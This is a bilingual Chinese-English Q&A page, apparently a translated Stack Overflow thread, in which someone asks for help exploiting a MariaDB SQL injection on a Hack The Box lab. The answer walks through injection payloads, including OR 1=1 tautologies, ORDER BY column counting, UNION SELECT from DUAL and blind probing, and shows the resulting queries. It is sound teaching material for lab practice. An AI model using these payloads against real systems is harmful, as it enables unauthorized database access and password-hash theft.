MariaDb SQL 注入

2022-01-15 00:00:00 mariadb mysql sql-injection

我正在尝试(合法地)利用带有 SQLi 漏洞的 MariaDb 数据库.

I am trying to exploit (legally) a MariaDb database with an SQLi vulnerability.

我已经确定了这里的漏洞...

I have identified the vulnerability here...

/?o=1&page=app

o=* 易受攻击并产生以下错误...

The o=* is vulnerable and produces the following error...

调试信息:您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本相对应的手册,以了解在 '5' 附近使用正确的语法或 dest like '1'') LIMIT 10' at line 1

我正在使用 Burp Suite 并发现以下语法似乎更接近标记,但仍然产生语法错误.

I am using Burp Suite and have landed upon the following syntax which seems to be closer to the mark but is still producing a syntax error.

我认为它更接近标记,因为错误只是吐出我引入的查询而不是'extra'字段:'5' or dest like '1'') LIMIT 10'.

I think it is closer to the mark because the error is only spitting out the query that I have introduced and not the 'extra' field: '5' or dest like '1'') LIMIT 10'.

我假设这是原始查询的一部分,因为包含 1 并且当我使用其他随机字符串进行测试时仍然正确.

I am assuming that is part of the original query as the 1 is included and when I test with other random strings that remains true.

我从页面线索中知道的管理员密码哈希是 uid 1.

I am after the admin password hash which I know from the page clues is uid 1.

我在这个查询中遗漏了什么?

What am I missing with this query?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

这是在 Hack The Box 上完成的,所以不会发生令人讨厌的非法事情.

This is being done on Hack The Box so no nasty illegal stuff going on.

推荐答案

这是在 Hack The Box 上完成的,所以没有令人讨厌的非法内容继续.

This is being done on Hack The Box so no nasty illegal stuff going on.

好的,那让我们玩得开心吧.

Ok lets have some fun then.

当我查看错误信息时

调试信息:您的 SQL 语法有错误;检查手册对应于正确语法的 MariaDB 服务器版本在 '5' 或 dest 附近使用,例如 '1'') LIMIT 10' 在第 1 行

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

我假设应用程序中的查询和代码或多或少像这样伪明智,@o 实际上是 MySQL 用户变量..

Iám assumming the query and code in the application is more or less like this pseudo wise, the @o is in fact a MySQL user variable..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

我将使用 SQL fiddle space 来模拟 SQL 注入测试和更多可能访问其他表.

I will use a SQL fiddle space to simulate a SQL injection test and more getting possible access to other tables.

您可以使用 1' OR 1 = 1#1' OR 1 = 1-- 测试您的注入,两者都应该可以工作,并且应该在以下情况下给您相同的结果您使用 1 作为输入.这是因为 MariaDB 自动为其他数据库转换类型,您可能需要使用更严格的版本 1' OR '1' = '1#

You can test your injection with 1' OR 1 = 1# or 1' OR 1 = 1-- both should work and should give you the same result when you use 1 as input. This is because MariaDB automatic is casting the types for other databases you might need to use the more strict version 1' OR '1' = '1#

应该生成什么

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

或者

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

然后因为您在应用程序中看到错误,您可以使用 ORDER BY 1 检查选择了多少列并递增数字,直到出现错误.

Then because you see errors in the application you can use ORDER BY 1 to check how many columns are selected and increment the number until you get a error.

错误:ER_BAD_FIELD_ERROR:订单子句"中的未知列2"

注入

1' ORDER BY 1#1' ORDER BY 1--

这意味着对结果集中的第一列进行排序 NOT 排序 1 文字.

Which means sort on the first column in the resultset NOT sort 1 literal.

生成

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

或者

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

当您知道列时,您可以使用 UNION 进入其他表.如果您不需要所有列,请使用 NULL.

When you know the columns you can use UNION to get into other tables. Use NULL if you don't need all the columns.

注入

1' UNION ALL SELECT NULL FROM DUAL#

请注意,DUAL 是 MariaDB、MySQL 和 Oracle 中的虚拟"非现有表,如果您可以查询此表",则意味着您在技术上也可以进入其他表.

Note that DUAL is a "virtual" non existing table in MariaDB, MySQL and Oracle, if you can query this "table" it means you can also technically get into other tables.

生成的 SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

如果网页设计为详细"页面,其中一条记录始终可见,您需要在注入中添加 LIMIT 1, 1.

And if the webpage is designed as a "detail" page where one record is always visible you need to add a LIMIT 1, 1 in your injection.

如果 web 应用程序中没有可见的错误怎么办,您应该能够通过盲目的 SQL 注入来盲目地暴力破解并查看应用程序的工作原理.
还可以尝试 ?o=0?o=NULL 或非常高的数字,例如最大 INT 值(有符号)?o=2147483647 或(无符号)?o=4294967295,然后再尝试暴力破解使用的列号,以便您了解应用程序如何处理无法找到的记录.因为它不太可能有 id 0INT 数据类型上的高数字,因为如果给出最后一个数字,应用程序将停止工作.如果您仍然获得具有这些高数字的记录,请改用 BIGINT 数据类型的最大值.

What if there are no errors visible in the webapplication you should just be able to blindly bruteforce geuss with blind SQL injections and see how the application works.
Also try things like ?o=0, ?o=NULL or a very high numbers like the max INT value (Signed) ?o=2147483647 or (unsigned) ?o=4294967295 before trying to bruteforce the used column number so you know how the application handles records which can't be found. Because it very unlikely to have id 0 or that high numbers on a INT datatype, because the application will stop working if the last number was given. If you still get a record with those high numbers use the max values for BIGINT datatype instead.

对于第 1 列相同的结果 id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

For column 1 same result id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

对于会出错但很可能会看到错误页面或未找到记录的消息的第 2 列.
或者一个甜蜜的 HTTP 404(未找到)错误状态.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

For columns 2 which will error but mostly likely you will see a error page or a message that the record was not found.
Or a sweet HTTP 404 (Not Found) error status.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

使用 LIMIT 而不使用 ORDER BY 可能会遇到一个问题,因为 SQL 标准已定义 SQL 表/结果集是 无序 不使用 ORDER BY

One problem you might get when using LIMIT without using ORDER BY might be a chance getting the same records because the SQL standard has defined that SQL tables/resultsets are orderless without using ORDER BY

因此,理想情况下,您需要在暴力破解中继续使用 ORDER BY 1.

So you ideally need to keep using ORDER BY 1 in the bruteforces.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

ORDER BY 1 的数据库支持比我最初想的要好,因为它适用于 MySQL、MariaDB、SQL Server (MSSQL) 和 PostgreSQL.

The databases support for ORDER BY 1 is better then i was thinking at first thought as it works in MySQL, MariaDB, SQL Server (MSSQL) and PostgreSQL.

另外,ORDER BY 1 是 SQL 92 的一项功能,已在 SQL 99 中删除.
因此,如果 SQL 数据库在这一点上遵循 SQL 标准,那么实际上它们不应该执行 ORDER BY 1 annymore.

Also ORDER BY 1 was a SQL 92 feature which was removed in SQL 99.
So actually SQL databases should not execute ORDER BY 1 annymore if they would follow the SQL standards on this point.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

与 SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC

相关文章